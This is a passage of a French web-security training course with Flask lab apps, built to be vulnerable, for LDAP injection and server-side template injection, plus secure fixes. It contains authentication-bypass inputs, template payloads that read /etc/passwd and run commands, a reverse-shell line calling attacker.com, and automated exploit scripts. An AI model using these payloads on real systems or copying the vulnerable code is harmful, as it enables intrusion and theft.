</html>
    ''')

# [X] ROUTE VULNÉRABLE : Login
@app.route('/api/login', methods=['POST'])
def login_vulnerable():
    """
    [X] VULNÉRABLE : LDAP Injection dans authentication
    """
    data = request.json
    username = data.get('username', '')
    password = data.get('password', '')
    
    try:
        # Connexion au serveur LDAP
        conn = ldap.initialize(LDAP_HOST)
        conn.set_option(ldap.OPT_REFERRALS, 0)
        
        # [X] VULNÉRABLE : Construction du filtre sans échappement
        ldap_filter = f"(&(uid={username})(userPassword={password}))"
        
        print(f"[VULNERABLE] LDAP Filter: {ldap_filter}")
        
        # Recherche
        result = conn.search_s(
            USERS_DN,
            ldap.SCOPE_SUBTREE,
            ldap_filter,
            ['cn', 'mail', 'uid', 'description']
        )
        
        conn.unbind_s()
        
        if result:
            # Extraire info du premier utilisateur trouvé
            dn, attrs = result[0]
            
            user_info = {
                'success': True,
                'message': 'Login successful',
                'dn': dn,
                'username': attrs.get('uid', [b''])[0].decode('utf-8'),
                'name': attrs.get('cn', [b''])[0].decode('utf-8'),
                'email': attrs.get('mail', [b''])[0].decode('utf-8'),
                'description': attrs.get('description', [b''])[0].decode('utf-8'),
                'ldap_filter_used': ldap_filter,
                'total_results': len(result)
            }
            
            return jsonify(user_info)
        else:
            return jsonify({
                'success': False,
                'error': 'Invalid credentials',
                'ldap_filter_used': ldap_filter
            }), 401
            
    except ldap.INVALID_CREDENTIALS:
        return jsonify({'error': 'Invalid credentials'}), 401
    except ldap.LDAPError as e:
        return jsonify({
            'error': f'LDAP Error: {str(e)}',
            'ldap_filter_used': ldap_filter
        }), 500
    except Exception as e:
        return jsonify({'error': str(e)}), 500

# [X] ROUTE VULNÉRABLE : Search
@app.route('/api/search')
def search_vulnerable():
    """
    [X] VULNÉRABLE : LDAP Injection dans recherche
    """
    query = request.args.get('q', '')
    
    try:
        conn = ldap.initialize(LDAP_HOST)
        conn.set_option(ldap.OPT_REFERRALS, 0)
        
        # [X] VULNÉRABLE : Construction du filtre sans validation
        ldap_filter = f"(uid={query})"
        
        print(f"[VULNERABLE] Search Filter: {ldap_filter}")
        
        result = conn.search_s(
            USERS_DN,
            ldap.SCOPE_SUBTREE,
            ldap_filter,
            ['cn', 'mail', 'uid', 'description']
        )
        
        conn.unbind_s()
        
        users = []
        for dn, attrs in result:
            users.append({
                'dn': dn,
                'uid': attrs.get('uid', [b''])[0].decode('utf-8'),
                'cn': attrs.get('cn', [b''])[0].decode('utf-8'),
                'mail': attrs.get('mail', [b''])[0].decode('utf-8'),
                'description': attrs.get('description', [b''])[0].decode('utf-8')
            })
        
        return jsonify({
            'success': True,
            'query': query,
            'ldap_filter_used': ldap_filter,
            'count': len(users),
            'users': users
        })
        
    except ldap.LDAPError as e:
        return jsonify({
            'error': f'LDAP Error: {str(e)}',
            'ldap_filter_used': ldap_filter
        }), 500
    except Exception as e:
        return jsonify({'error': str(e)}), 500

if __name__ == '__main__':
    print("[RAPIDE] LDAP Injection (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : LDAP Injection possible !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. Authentication bypass via OR injection")
    print("   2. Authentication bypass via AND injection")
    print("   3. Wildcard injection")
    print("   4. Information disclosure (list all users)")
    print("   5. Attribute enumeration")
    print("   6. Filter manipulation")
    print("\n[NOTE] Assurez-vous que le serveur LDAP est lancé:")
    print("   docker-compose up -d")
    app.run(debug=True, port=5000)
```

---

### PARTIE C : TESTER LES ATTAQUES

**1. Lancer le serveur LDAP :**

```bash
docker-compose up -d
python populate_ldap.py
```

**2. Lancer l'application :**

```bash
pip install python-ldap flask flask-cors
python ldap_injection_vulnerable.py
```

**3. Ouvrir http://localhost:5000**

**4. Test Attack 1 - OR Injection :**

- Username : `*)(uid=*))(|(uid=*`
- Password : `anything`
- Cliquer "Login"

**Résultat :**

```json
{
  "success": true,
  "message": "Login successful",
  "username": "alice",
  "name": "Alice Smith",
  "ldap_filter_used": "(&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))",
  "total_results": 4
}
```

**[OK] Bypass authentication ! Premier utilisateur retourné.**

---

**5. Test Attack 2 - AND Injection :**

- Username : `admin)(&)`
- Password : `wrong`

**Filter construit :**

```ldap
(&(uid=admin)(&)(userPassword=wrong))
```

**[OK] `(&)` est toujours vrai -> Bypass !**

---

**6. Test Attack 3 - Wildcard :**

- Username : `admin*`

**Filter :**

```ldap
(uid=admin*)
```

**[OK] Trouve tous les comptes commençant par "admin" !**

---

**7. Test Attack 4 - List All Users :**

- Search : `*`

**Résultat :**

```json
{
  "success": true,
  "count": 4,
  "users": [
    {"uid": "alice", "cn": "Alice Smith", ...},
    {"uid": "bob", "cn": "Bob Johnson", ...},
    {"uid": "admin", "cn": "Admin User", ...},
    {"uid": "charlie", "cn": "Charlie Brown", ...}
  ]
}
```

**[OK] TOUS les utilisateurs exposés !**

---

**8. Script d'exploitation automatisé :**

```python
# exploit_ldap.py
import requests

BASE_URL = "http://localhost:5000"

print("=" * 80)
print("LDAP INJECTION - AUTOMATED EXPLOITATION")
print("=" * 80)

# Attack 1: OR Injection
print("\n1⃣  ATTACK 1: OR Injection")
print("-" * 80)

payload = {
    "username": "*)(uid=*))(|(uid=*",
    "password": "anything"
}

response = requests.post(f"{BASE_URL}/api/login", json=payload)
data = response.json()

if data.get('success'):
    print(f"[OK] SUCCESS! Logged in as: {data['username']}")
    print(f"   Name: {data['name']}")
    print(f"   Email: {data['email']}")
    print(f"   Filter used: {data['ldap_filter_used']}")
else:
    print(f"[X] Failed: {data}")

# Attack 2: AND Injection
print("\n2⃣  ATTACK 2: AND Injection")
print("-" * 80)

payload = {
    "username": "admin)(&)",
    "password": "wrong_password"
}

response = requests.post(f"{BASE_URL}/api/login", json=payload)
data = response.json()

if data.get('success'):
    print(f"[OK] SUCCESS! Bypassed password check")
    print(f"   Logged in as: {data['username']}")
else:
    print(f"[X] Failed: {data}")

# Attack 3: Wildcard
print("\n3⃣  ATTACK 3: Wildcard Injection")
print("-" * 80)

payload = {
    "username": "admin*",
    "password": "anything"
}

response = requests.post(f"{BASE_URL}/api/login", json=payload)
data = response.json()

if data.get('success'):
    print(f"[OK] SUCCESS! Found user matching 'admin*'")
    print(f"   Username: {data['username']}")
else:
    print(f"[X] Failed")

# Attack 4: Information Disclosure
print("\n4⃣  ATTACK 4: Information Disclosure")
print("-" * 80)

response = requests.get(f"{BASE_URL}/api/search?q=*")
data = response.json()

if data.get('success'):
    print(f"[OK] SUCCESS! Retrieved ALL users")
    print(f"   Total users: {data['count']}")
    for user in data['users']:
        print(f"   - {user['uid']}: {user['cn']} ({user['mail']})")
else:
    print(f"[X] Failed")

print("\n" + "=" * 80)
print("EXPLOITATION COMPLETED")
print("=" * 80)
```

**Exécuter :**

```bash
python exploit_ldap.py
```

---

### PARTIE D : VERSION SÉCURISÉE

```python
# ldap_injection_secure.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import ldap
import ldap.filter
import re

app = Flask(__name__)
CORS(app, origins=['http://localhost:3000'])

LDAP_HOST = 'ldap://localhost:389'
BASE_DN = 'dc=company,dc=com'
USERS_DN = 'ou=users,dc=company,dc=com'

# [OK] Whitelist de caractères autorisés
USERNAME_PATTERN = re.compile(r'^[a-zA-Z0-9._-]+$')

def escape_ldap_filter(value):
    """
    [OK] Échappe les caractères spéciaux LDAP
    """
    return ldap.filter.escape_filter_chars(value)

def is_valid_username(username):
    """
    [OK] Valide le format du username
    """
    if not username or len(username) > 50:
        return False
    
    # [OK] Seulement caractères alphanumériques et ._-
    if not USERNAME_PATTERN.match(username):
        return False
    
    return True

# [OK] ROUTE SÉCURISÉE : Login
@app.route('/api/login', methods=['POST'])
def login_secure():
    """
    [OK] SÉCURISÉ : Échappement LDAP + Validation
    """
    data = request.json
    username = data.get('username', '').strip()
    password = data.get('password', '')
    
    # [OK] Validation du username
    if not is_valid_username(username):
        return jsonify({
            'success': False,
            'error': 'Invalid username format'
        }), 400
    
    try:
        conn = ldap.initialize(LDAP_HOST)
        conn.set_option(ldap.OPT_REFERRALS, 0)
        
        # [OK] SÉCURISÉ : Échappement des caractères spéciaux
        safe_username = escape_ldap_filter(username)
        safe_password = escape_ldap_filter(password)
        
        # [OK] Construction sécurisée du filtre
        ldap_filter = f"(&(uid={safe_username})(userPassword={safe_password}))"
        
        print(f"[SECURE] LDAP Filter: {ldap_filter}")
        
        result = conn.search_s(
            USERS_DN,
            ldap.SCOPE_SUBTREE,
            ldap_filter,
            ['cn', 'mail', 'uid', 'description']
        )
        
        conn.unbind_s()
        
        if result:
            dn, attrs = result[0]
            
            return jsonify({
                'success': True,
                'message': 'Login successful',
                'username': attrs.get('uid', [b''])[0].decode('utf-8'),
                'name': attrs.get('cn', [b''])[0].decode('utf-8'),
                'email': attrs.get('mail', [b''])[0].decode('utf-8')
            })
        else:
            return jsonify({
                'success': False,
                'error': 'Invalid credentials'
            }), 401
            
    except ldap.INVALID_CREDENTIALS:
        return jsonify({'error': 'Invalid credentials'}), 401
    except ldap.LDAPError as e:
        return jsonify({'error': 'Authentication error'}), 500
    except Exception as e:
        return jsonify({'error': 'Internal error'}), 500

# [OK] ROUTE SÉCURISÉE : Search
@app.route('/api/search')
def search_secure():
    """
    [OK] SÉCURISÉ : Validation + Échappement
    """
    query = request.args.get('q', '').strip()
    
    # [OK] Validation
    if not is_valid_username(query):
        return jsonify({
            'success': False,
            'error': 'Invalid search query format'
        }), 400
    
    try:
        conn = ldap.initialize(LDAP_HOST)
        conn.set_option(ldap.OPT_REFERRALS, 0)
        
        # [OK] Échappement
        safe_query = escape_ldap_filter(query)
        
        # [OK] Construction sécurisée
        ldap_filter = f"(uid={safe_query})"
        
        print(f"[SECURE] Search Filter: {ldap_filter}")
        
        result = conn.search_s(
            USERS_DN,
            ldap.SCOPE_SUBTREE,
            ldap_filter,
            ['cn', 'mail', 'uid', 'description']
        )
        
        conn.unbind_s()
        
        users = []
        for dn, attrs in result:
            users.append({
                'uid': attrs.get('uid', [b''])[0].decode('utf-8'),
                'cn': attrs.get('cn', [b''])[0].decode('utf-8'),
                'mail': attrs.get('mail', [b''])[0].decode('utf-8')
                # [OK] Ne pas exposer description (info sensible)
            })
        
        return jsonify({
            'success': True,
            'count': len(users),
            'users': users
        })
        
    except ldap.LDAPError as e:
        return jsonify({'error': 'Search error'}), 500
    except Exception as e:
        return jsonify({'error': 'Internal error'}), 500

if __name__ == '__main__':
    print("[SECURITE]  LDAP Injection SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. ldap.filter.escape_filter_chars() pour échappement")
    print("   2. Validation whitelist (regex)")
    print("   3. Limitation longueur input")
    print("   4. Pas d'exposition d'informations sensibles")
    print("   5. Messages d'erreur génériques")
    app.run(debug=False, port=5001)
```

**Tester la protection :**

```bash
python ldap_injection_secure.py

# Tester injection (devrait échouer)
curl -X POST http://localhost:5001/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"*)(uid=*))(|(uid=*", "password":"anything"}'
```

**Résultat :**

```json
{
  "success": false,
  "error": "Invalid username format"
}
```

**[OK] Injection bloquée !**

---

## [GRAPHIQUE] RÉCAPITULATIF LDAP INJECTION

### [OK] Protections essentielles

| Protection | Efficacité | Facilité |
|-----------|-----------|----------|
| ldap.filter.escape_filter_chars() | ***** | [OK] Facile |
| Validation whitelist (regex) | ***** | [OK] Facile |
| Parameterized queries | ***** | [ATTENTION] Dépend du langage |
| Limitation longueur | **** | [OK] Facile |
| Principe moindre privilège | **** | [ATTENTION] Moyen |
| Messages d'erreur génériques | *** | [OK] Facile |

---

### [X] Erreurs critiques

- [X] Concaténation directe dans filtres LDAP
- [X] Pas d'échappement des caractères spéciaux
- [X] Accepter `*`, `(`, `)`, `|`, `&` dans input
- [X] Pas de validation du format
- [X] Messages d'erreur révélateurs
- [X] Exposition d'informations sensibles

---

### [OBJECTIF] Checklist complète

```python
[OK] Utiliser ldap.filter.escape_filter_chars()
[OK] Validation whitelist (alphanumeric + ._-)
[OK] Limiter longueur input (max 50 chars)
[OK] Messages d'erreur génériques
[OK] Bind avec compte à privilèges limités
[OK] Pas d'exposition structure LDAP
[OK] Logging des tentatives suspectes
[OK] Rate limiting sur authentification
[OK] Audit régulier des requêtes LDAP
[OK] Utiliser TLS/SSL pour LDAP (LDAPS)
```

---

### [DOCS] Caractères à échapper

```python
# Caractères spéciaux LDAP
SPECIAL_CHARS = ['*', '(', ')', '\\', '\x00', '/']

# Fonction d'échappement Python
import ldap.filter
escaped = ldap.filter.escape_filter_chars(user_input)

# Fonction manuelle (si bibliothèque indisponible)
def escape_ldap_manual(s):
    replacements = {
        '*': '\\2a',
        '(': '\\28',
        ')': '\\29',
        '\\': '\\5c',
        '\x00': '\\00',
        '/': '\\2f'
    }
    for char, replacement in replacements.items():
        s = s.replace(char, replacement)
    return s
```

---

# 19. SERVER-SIDE TEMPLATE INJECTION (SSTI)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce que SSTI ?

**Définition :**
Vulnérabilité permettant à un attaquant d'**injecter du code malveillant dans un template côté serveur**, qui sera ensuite exécuté par le moteur de template, conduisant souvent à une **Remote Code Execution (RCE)**.

**Analogie simple :**

Imagine un formulaire de carte de vœux automatisé :
- Template normal : "Bonjour {{name}}, joyeux anniversaire !"
- Input normal : name = "Alice" -> "Bonjour Alice, joyeux anniversaire !"
- Input malveillant : name = "{{7*7}}" -> "Bonjour 49, joyeux anniversaire !"
- Input RCE : name = "{{os.system('rm -rf /')}}" -> **Commande exécutée sur le serveur !**

---

### Template Engines populaires

| Engine | Langage | Syntaxe | Dangerosité |
|--------|---------|---------|-------------|
| **Jinja2** | Python | `{{ }}`, `{% %}` | ***** |
| **Twig** | PHP | `{{ }}`, `{% %}` | ***** |
| **Freemarker** | Java | `${}`, `<#>` | ***** |
| **Velocity** | Java | `${}` | **** |
| **Smarty** | PHP | `{$}`, `{literal}` | **** |
| **Pug** | Node.js | `-`, `=` | **** |
| **EJS** | Node.js | `<%= %>` | **** |
| **Thymeleaf** | Java | `${}`, `*{}` | **** |

---

### Comment fonctionne SSTI ?

**Flux normal :**

```python
# Server-side (Flask/Jinja2)
@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    
    # [OK] SÉCURISÉ : Template statique + paramètre
    return render_template('greet.html', name=name)

# greet.html
# <h1>Hello {{ name }}!</h1>
```

**Flux vulnérable :**

```python
# [X] VULNÉRABLE : Construction dynamique de template
@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    
    # [X] DANGER : Template construit avec input utilisateur
    template = f"<h1>Hello {name}!</h1>"
    return render_template_string(template)
```

**Exploitation :**

```
URL: /greet?name={{7*7}}
Résultat: <h1>Hello 49!</h1>
-> Template injection détecté !

URL: /greet?name={{config}}
Résultat: <h1>Hello <Config ...>!</h1>
-> Exposition de configuration !

URL: /greet?name={{''.__class__.__mro__[1].__subclasses__()}}
Résultat: Liste de toutes les classes Python
-> RCE possible !
```

---

### Détection de SSTI

**1. Test de base :**

```python
# Payloads de détection
{{7*7}}          # Jinja2, Twig -> 49
${7*7}           # Freemarker -> 49
<%= 7*7 %>       # EJS -> 49
${{7*7}}         # Velocity -> $49
{7*7}            # Smarty -> {7*7}
```

**2. Identification du moteur :**

```
# Test mathématique
{{7*'7'}}        # Jinja2 -> 7777777
${7*'7'}         # Freemarker -> Erreur

# Test objet
{{config}}       # Flask/Jinja2 -> <Config>
${class}         # Freemarker -> class object

# Test erreur
{{nonexistent}}  # Message d'erreur révèle le moteur
```

---

### Exploitation SSTI - Jinja2 (Flask)

#### **Niveau 1 : Information Disclosure**

```python
# Configuration Flask
{{config}}
{{config.items()}}

# Variables d'environnement
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ}}

# Secrets
{{config['SECRET_KEY']}}
```

---

#### **Niveau 2 : File Read**

```python
# Lire /etc/passwd
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

# Version courte avec get_flashed_messages
{{get_flashed_messages.__globals__['__builtins__'].open('/etc/passwd').read()}}

# Via config
{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
```

---

#### **Niveau 3 : Remote Code Execution (RCE)**

```python
# Méthode 1 : Via os.popen
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

# Méthode 2 : Via subprocess
{{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

# Méthode 3 : Via __import__
{{''.__class__.__mro__[1].__subclasses__()[396].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

# Méthode 4 : Reverse Shell
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').read()}}
```

**Payload universel Python :**

```python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('COMMAND').read()}}
```

---

### Exploitation SSTI - Twig (PHP)

```php
# Information Disclosure
{{_self.env.getGlobals()}}

# File Read
{{'/etc/passwd'|file_excerpt(1,30)}}

# RCE via filter
{{['id']|filter('system')}}
{{['whoami']|map('system')|join}}

# RCE via _self
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

---

### Exploitation SSTI - Freemarker (Java)

```java
# File Read
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /etc/passwd")}

# RCE
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("whoami")}

# API exploitation
<#assign classloader=object?api.class.getClassLoader()>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign exec=classloader.loadClass("freemarker.template.utility.Execute")>
${exec("id")}
```

---

### Cas réels

**1. Uber (2016) - SSTI in Jinja2**

**Faille :** Template Jinja2 construit dynamiquement

```python
template = f"Hello {username}"
return render_template_string(template)
```

**Exploitation :** RCE via payload Jinja2

**Bounty :** $10,000

---

**2. Shopify (2020) - Liquid SSTI**

**Faille :** Liquid template engine

**Exploitation :** Information disclosure via `{{shop}}`, `{{settings}}`

**Bounty :** $25,000

---

**3. Atlassian Confluence (CVE-2021-26084)**

**Faille :** SSTI in OGNL (Object-Graph Navigation Language)

**Exploitation :** RCE via injection dans templates Velocity

**Impact :** CRITIQUE - 10.0 CVSS

---

## [CODE] EXERCICE 21 : SSTI

### PARTIE A : APPLICATION VULNÉRABLE

```python
# ssti_vulnerable.py
from flask import Flask, request, render_template_string, render_template
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'super_secret_key_12345'

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>SSTI Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
            margin-bottom: 20px;
        }
        input, textarea {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            padding: 12px 30px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 100px;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[DESIGN] Template Generator</h1>
            <p>Server-Side Template Injection Demo</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - SSTI POSSIBLE
        </div>
        
        <div class="card">
            <h3>[EMAIL] Generate Custom Greeting</h3>
            <form action="/greet" method="GET">
                <input type="text" name="name" placeholder="Enter your name" value="Alice">
                <button type="submit">Generate Greeting</button>
            </form>
        </div>
        
        <div class="card">
            <h3>[EMAIL] Email Template Preview</h3>
            <form action="/email-preview" method="POST">
                <input type="text" name="subject" placeholder="Email Subject" value="Welcome!">
                <textarea name="body" rows="5" placeholder="Email Body">Hello {{username}},

Welcome to our platform!

Best regards,
The Team</textarea>
                <button type="submit">Preview Email</button>
            </form>
        </div>
        
        <div class="card">
            <h3>[LABEL] Product Description Generator</h3>
            <form action="/product" method="GET">
                <input type="text" name="product_name" placeholder="Product Name" value="Laptop">
                <input type="text" name="template" placeholder="Description Template" value="This {{product}} is amazing!">
                <button type="submit">Generate Description</button>
            </form>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] SSTI Attack Vectors</h2>
            
            <h4>1. Detection Test</h4>
            <p>Payload: <code>{{7*7}}</code></p>
            <button onclick="testPayload('greet', 'name', '{{7*7}}')">Test</button>
            
            <h4>2. Config Disclosure</h4>
            <p>Payload: <code>{{config}}</code></p>
            <button onclick="testPayload('greet', 'name', '{{config}}')">Test</button>
            
            <h4>3. Secret Key Extraction</h4>
            <p>Payload: <code>{{config.SECRET_KEY}}</code></p>
            <button onclick="testPayload('greet', 'name', '{{config.SECRET_KEY}}')">Test</button>
            
            <h4>4. File Read (/etc/passwd)</h4>
            <p>Payload: <code>{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}</code></p>
            <button onclick="testPayload('greet', 'name', '{{get_flashed_messages.__globals__.__builtins__.open(\'/etc/passwd\').read()}}')">Test</button>
            
            <h4>5. RCE - whoami</h4>
            <p>Payload: <code>{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}</code></p>
            <button onclick="testPayload('greet', 'name', '{{config.__class__.__init__.__globals__[\'os\'].popen(\'whoami\').read()}}')">Test</button>
            
            <h4>6. RCE - List Files</h4>
            <p>Payload: <code>{{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}</code></p>
            <button onclick="testPayload('greet', 'name', '{{config.__class__.__init__.__globals__[\'os\'].popen(\'ls -la\').read()}}')">Test</button>
        </div>
    </div>
    
    <script>
        function testPayload(endpoint, param, payload) {
            const url = `/${endpoint}?${param}=${encodeURIComponent(payload)}`;
            window.open(url, '_blank');
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE 1 : Greeting
@app.route('/greet')
def greet_vulnerable():
    """
    [X] VULNÉRABLE : render_template_string avec input utilisateur
    """
    name = request.args.get('name', 'Guest')
    
    # [X] ERREUR CRITIQUE : Construction dynamique de template
    template = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <title>Greeting</title>
        <style>
            body {{ 
                font-family: Arial; 
                padding: 50px; 
                background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                color: white;
            }}
            .result {{ 
                background: rgba(255,255,255,0.1); 
                padding: 30px; 
                border-radius: 10px;
                backdrop-filter: blur(10px);
            }}
        </style>
    </head>
    <body>
        <div class="result">
            <h1>Hello {name}!</h1>
            <p>Welcome to our application.</p>
            <a href="/" style="color: white;"><- Back</a>
        </div>
    </body>
    </html>
    """
    
    # [X] DANGER : Exécute le template avec le contenu malveillant
    return render_template_string(template)

# [X] ROUTE VULNÉRABLE 2 : Email Preview
@app.route('/email-preview', methods=['POST'])
def email_preview_vulnerable():
    """
    [X] VULNÉRABLE : Template construit avec POST data
    """
    subject = request.form.get('subject', 'No Subject')
    body = request.form.get('body', 'No content')
    
    # [X] Construction dynamique avec données utilisateur
    template = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <title>Email Preview</title>
        <style>
            body {{ 
                font-family: Arial; 
                padding: 50px; 
                background: #f0f0f0;
            }}
            .email {{ 
                background: white; 
                padding: 30px; 
                border-radius: 10px;
                max-width: 600px;
                margin: 0 auto;
            }}
        </style>
    </head>
    <body>
        <div class="email">
            <h2>Subject: {subject}</h2>
            <hr>
            <div>{body}</div>
        </div>
        <div style="text-align: center; margin-top: 20px;">
            <a href="/"><- Back</a>
        </div>
    </body>
    </html>
    """
    
    return render_template_string(template)

# [X] ROUTE VULNÉRABLE 3 : Product Description
@app.route('/product')
def product_vulnerable():
    """
    [X] VULNÉRABLE : Template personnalisé par utilisateur
    """
    product_name = request.args.get('product_name', 'Product')
    template_str = request.args.get('template', 'This {{product}} is great!')
    
    # [X] Remplace {{product}} mais le reste est vulnérable
    template_str = template_str.replace('{{product}}', product_name)
    
    full_template = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <title>Product Description</title>
        <style>
            body {{ 
                font-family: Arial; 
                padding: 50px; 
                background: linear-gradient(135deg, #10b981 0%, #059669 100%);
                color: white;
            }}
            .product {{ 
                background: rgba(255,255,255,0.1); 
                padding: 30px; 
                border-radius: 10px;
            }}
        </style>
    </head>
    <body>
        <div class="product">
            <h1>Product Description</h1>
            <p>{template_str}</p>
            <a href="/" style="color: white;"><- Back</a>
        </div>
    </body>
    </html>
    """
    
    return render_template_string(full_template)

if __name__ == '__main__':
    print("[RAPIDE] SSTI (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Server-Side Template Injection possible !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. render_template_string avec input utilisateur")
    print("   2. Construction dynamique de templates")
    print("   3. Pas de sanitization")
    print("   4. RCE possible via payloads Jinja2")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
python ssti_vulnerable.py
```

**2. Test 1 - Détection :**

```
http://localhost:5000/greet?name={{7*7}}
```

**Résultat :**
```html
<h1>Hello 49!</h1>
```

**[OK] SSTI détecté !**

---

**3. Test 2 - Config Disclosure :**

```
http://localhost:5000/greet?name={{config}}
```

**Résultat :**
```html
<h1>Hello <Config {'DEBUG': True, 'SECRET_KEY': 'super_secret_key_12345', ...}>!</h1>
```

**[OK] Configuration exposée !**

---

**4. Test 3 - Secret Key :**

```
http://localhost:5000/greet?name={{config.SECRET_KEY}}
```

**Résultat :**
```html
<h1>Hello super_secret_key_12345!</h1>
```

**[OK] Secret key volé !**

---

**5. Test 4 - File Read :**

```
http://localhost:5000/greet?name={{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}
```

**Résultat :**
```html
<h1>Hello root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...</h1>
```

**[OK] Fichier système lu !**

---

**6. Test 5 - RCE (whoami) :**

```
http://localhost:5000/greet?name={{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
```

**Résultat :**
```html
<h1>Hello www-data
!</h1>
```

**[OK] Commande exécutée sur le serveur !**

---

**7. Test 6 - RCE (ls) :**

```
http://localhost:5000/greet?name={{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}
```

**Résultat :**
```html
<h1>Hello total 24
drwxr-xr-x 2 www-data www-data 4096 Jan  8 12:34 .
drwxr-xr-x 3 www-data www-data 4096 Jan  8 12:34 ..
-rw-r--r-- 1 www-data www-data 8192 Jan  8 12:34 ssti_vulnerable.py
!</h1>
```

**[OK] Listage des fichiers !**

---

**8. Script d'exploitation automatisé :**

```python
# exploit_ssti.py
import requests
from urllib.parse import quote

BASE_URL = "http://localhost:5000"

print("=" * 80)
print("SERVER-SIDE TEMPLATE INJECTION - EXPLOITATION")
print("=" * 80)

# Test 1: Detection
print("\n1⃣  DETECTION TEST")
print("-" * 80)

payload = "{{7*7}}"
response = requests.get(f"{BASE_URL}/greet?name={quote(payload)}")

if "49" in response.text:
    print("[OK] SSTI Detected! Template evaluation confirmed.")
else:
    print("[X] SSTI not detected")

# Test 2: Config Disclosure
print("\n2⃣  CONFIG DISCLOSURE")
print("-" * 80)

payload = "{{config}}"
response = requests.get(f"{BASE_URL}/greet?name={quote(payload)}")

if "SECRET_KEY" in response.text:
    print("[OK] Config exposed!")
    # Extract secret key
    import re
    match = re.search(r"'SECRET_KEY': '([^']+)'", response.text)
    if match:
        print(f"   Secret Key: {match.group(1)}")
else:
    print("[X] Config not accessible")

# Test 3: File Read
print("\n3⃣  FILE READ - /etc/passwd")
print("-" * 80)

payload = "{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}"
response = requests.get(f"{BASE_URL}/greet?name={quote(payload)}")

if "root:" in response.text:
    print("[OK] File read successful!")
    # Extract first few lines
    lines = response.text.split('\n')[:5]
    for line in lines:
        if 'root:' in line or 'daemon:' in line:
            print(f"   {line.strip()}")
else:
    print("[X] File read failed")

# Test 4: RCE - whoami
print("\n4⃣  RCE - whoami")
print("-" * 80)

payload = "{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}"
response = requests.get(f"{BASE_URL}/greet?name={quote(payload)}")

import re
match = re.search(r'<h1>Hello ([^<\n]+)', response.text)
if match:
    result = match.group(1).strip()
    if result and result != "":
        print(f"[OK] RCE successful!")
        print(f"   Current user: {result}")
    else:
        print("[X] RCE failed or no output")
else:
    print("[X] RCE failed")

# Test 5: RCE - id
print("\n5⃣  RCE - id")
print("-" * 80)

payload = "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
response = requests.get(f"{BASE_URL}/greet?name={quote(payload)}")

match = re.search(r'<h1>Hello ([^<\n]+)', response.text)
if match:
    result = match.group(1).strip()
